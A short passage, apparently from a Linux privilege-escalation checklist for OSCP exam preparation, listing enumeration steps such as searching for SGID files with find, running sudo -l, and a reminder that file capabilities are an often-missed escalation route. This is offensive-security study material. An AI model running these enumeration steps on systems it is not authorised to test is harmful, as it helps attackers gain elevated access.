find -perm -2000) - Less common - Sudo permissions (
sudo -l) - Always check
Don’t skip step 2! Capabilities are the most commonly missed privesc vector on OSCP.